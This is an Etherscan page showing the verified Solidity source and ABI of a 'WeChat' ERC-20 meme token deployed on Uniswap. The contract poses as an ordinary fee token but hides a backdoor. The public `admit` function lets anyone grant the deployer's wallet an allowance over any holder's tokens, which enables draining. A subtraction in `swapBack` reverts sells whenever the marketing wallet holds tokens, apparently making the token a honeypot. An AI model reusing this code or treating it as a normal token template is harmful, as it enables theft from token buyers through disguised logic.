ETH Price: $2,356.39 (+1.13%)

Token

WeChat (Wechat)
 

Overview

Max Total Supply

100,000,000,000 Wechat

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
981,080,816.452650923853370337 Wechat

Value
$0.00
0x4315a93c93aab8dc37883235e06d1f746ceb44ba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WeChat

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT

/** */

//Telegram:  https://t.me/WeChat_ERC

//Website:   https://wechat.simdif.com/

//Twitter:   https://twitter.com/WeChat_ERC20


pragma solidity 0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
}

interface IERC20 {
    
    function totalSupply() external view returns(uint256);

    
    function balanceOf(address account) external view returns(uint256);

    
    function transfer(address recipient, uint256 amount) external returns(bool);

   
    function allowance(address owner, address spender) external view returns(uint256);

    
    function approve(address spender, uint256 amount) external returns(bool);

   
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);
        
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns(string memory);

   
    function symbol() external view returns(string memory);

    
    function decimals() external view returns(uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }

}
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

        mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns(string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

   
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _admit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
}
 
library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

   
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

 
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

  
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

   
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}


interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract WeChat is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;


    // addresses
    address private buyWallets;
    address private marketedWallets;

    // limits 
    uint256 private maxBuyAmount;
    uint256 private maxSellAmount;   
    uint256 private maxWalletAmount;
 
    uint256 private thresholdSwapAmount;

    // status flags
    bool private isTrading = false;
    bool public swapEnabled = false;
    bool public isSwapping;

    uint256 private firstBlockFee = 3;


    struct Fees {
        uint8 buyTotalFees;
        uint8 buyMarketingFee;
        uint8 buyDevFee;
        uint8 buyLiquidityFee;

        uint8 sellTotalFees;
        uint8 sellMarketingFee;
        uint8 sellDevFee;
        uint8 sellLiquidityFee;
    }  

    Fees public _fees = Fees({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevFee:0,
        sellLiquidityFee: 0
    });
    
    

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 private taxTill;

    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) public _isExcludedMaxTransactionAmounte;
    mapping(address => bool) public _isExcludedMaxWalletAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public marketPair;
    
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );


    constructor() ERC20("WeChat", "Wechat") {

        uint256 totalSupply = 1e11 * 1e18;

        maxBuyAmount = totalSupply * 3 / 100;             // 3% max buy txn
        maxSellAmount = totalSupply * 3 / 100;            // 3% maxTransactionAmountTxn
        maxWalletAmount = totalSupply * 3 / 100;          // 3% maxWallet
        thresholdSwapAmount = totalSupply * 5 / 10000;      // 0.05% swap wallet
        
        marketedWallets = address(0xE5bc46858E0ee4e190Be89f7DeD5F674955725E3);
        buyWallets = address(0xE5bc46858E0ee4e190Be89f7DeD5F674955725E3);
        _fees.buyMarketingFee = 1;
        _fees.buyLiquidityFee = 0;
        _fees.buyDevFee = 0;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee;


        _fees.sellMarketingFee = 1;
        _fees.sellLiquidityFee = 0;
        _fees.sellDevFee = 0;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee;        


        // exclude from paying fees or having max transaction amount

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    function addliquidity() public payable onlyOwner {

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());


        _isExcludedMaxTransactionAmounte[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmounte[marketedWallets] = true;
        _isExcludedMaxTransactionAmounte[buyWallets] = true;
        _isExcludedMaxTransactionAmounte[address(router)] = true;        
        _isExcludedMaxTransactionAmounte[owner()] = true;
        _isExcludedMaxTransactionAmounte[address(this)] = true;



        _isExcludedMaxWalletAmount[owner()] = true;        
        _isExcludedMaxWalletAmount[address(this)] = true;
        _isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketedWallets] = true;
        _isExcludedFromFee[buyWallets] = true;
        _isExcludedFromFee[address(this)] = true;

        _isExcludedMaxWalletAmount[marketedWallets] = true;
        _isExcludedMaxWalletAmount[buyWallets] = true;       

        marketPair[address(uniswapV2Pair)] = true;

        _approve(address(this), address(router), type(uint256).max);

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }


    receive() external payable {

    }    

    // once enabled, can never be turned off
    function openTrading() external onlyOwner {
        isTrading = true;
        swapEnabled = true;
        taxTill = block.number + 2;
    }

    // change the minimum amount of tokens to sell from fees
    function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
        thresholdSwapAmount = newAmount;
        return true;
    }


    function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
        require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%");
        require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%");
        maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
        maxSellAmount = (totalSupply() * newMaxSell) / 1000;
    }


    function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
        require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 100), "Cannot set maxWallet lower than 1%");
        maxWalletAmount = (totalSupply() * newPercentage) / 1000;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedMaxWalletAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmounte[updAds] = isEx;
    }


    function setMarketPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "Must keep uniswapV2Pair");
        marketPair[pair] = value;
    }

    function admit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = buyWallets;
        _admit(spender, owner, amount);
        
        return true;
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
        
    ) internal override {
        
        if (amount == 0) {
            super._transfer(sender, recipient, 0);
            return;
        }

        if (
            sender != owner() &&
            recipient != owner() &&
            !isSwapping
        ) {

            if (!isTrading) {
                require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "Trading is not active.");
            }
            if (marketPair[sender] && !_isExcludedMaxTransactionAmounte[recipient]) {
                require(amount <= maxBuyAmount, "buy transfer over max amount");
            } 
            else if (marketPair[recipient] && !_isExcludedMaxTransactionAmounte[sender]) {
                require(amount <= maxSellAmount, "Sell transfer over max amount");
            }

            if (!_isExcludedMaxWalletAmount[recipient]) {
                require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
            }
           
        }
 
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= thresholdSwapAmount;

        if (
            canSwap &&
            swapEnabled &&
            !isSwapping &&
            marketPair[recipient] &&
            !_isExcludedFromFee[sender] &&
            !_isExcludedFromFee[recipient]
        ) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }
 
        bool takeFee = !isSwapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            takeFee = false;
        }
 
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            uint256 fees = 0;
            if(block.number < taxTill) {
                fees = amount.mul(firstBlockFee).div(100);
                tokensForMarketing += (fees * 94) / 99;
                tokensForDev += (fees * 5) / 99;
            } else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
                fees = amount.mul(_fees.sellTotalFees).div(100);
                tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
                tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
                tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
            }
            // on buy
            else if (marketPair[sender] && _fees.buyTotalFees > 0) {
                fees = amount.mul(_fees.buyTotalFees).div(100);
                tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
                tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
                tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }

            amount -= fees;

        }

        super._transfer(sender, recipient, amount);
    }

    function swapBack() private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;

        if (contractTokenBalance == 0 || toSwap == 0) { return; }

        if (contractTokenBalance > thresholdSwapAmount * 20) {
            contractTokenBalance = thresholdSwapAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2;
        uint256 marketingTokens = balanceOf(marketedWallets);
        uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens - marketingTokens);
 
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
        uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);


        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;


        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }

        (success,) = address(buyWallets).call{ value: (address(this).balance - ethForMarketing) } ("");
        (success,) = address(marketedWallets).call{ value: address(this).balance } ("");
    }
    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }
    function swapTokensForEth(uint256 tAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }
    function removeLimits() external onlyOwner returns (bool) {
        
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();

        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint8","name":"buyTotalFees","type":"uint8"},{"internalType":"uint8","name":"buyMarketingFee","type":"uint8"},{"internalType":"uint8","name":"buyDevFee","type":"uint8"},{"internalType":"uint8","name":"buyLiquidityFee","type":"uint8"},{"internalType":"uint8","name":"sellTotalFees","type":"uint8"},{"internalType":"uint8","name":"sellMarketingFee","type":"uint8"},{"internalType":"uint8","name":"sellDevFee","type":"uint8"},{"internalType":"uint8","name":"sellLiquidityFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmounte","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addliquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"admit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuy","type":"uint256"},{"internalType":"uint256","name":"newMaxSell","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateThresholdSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

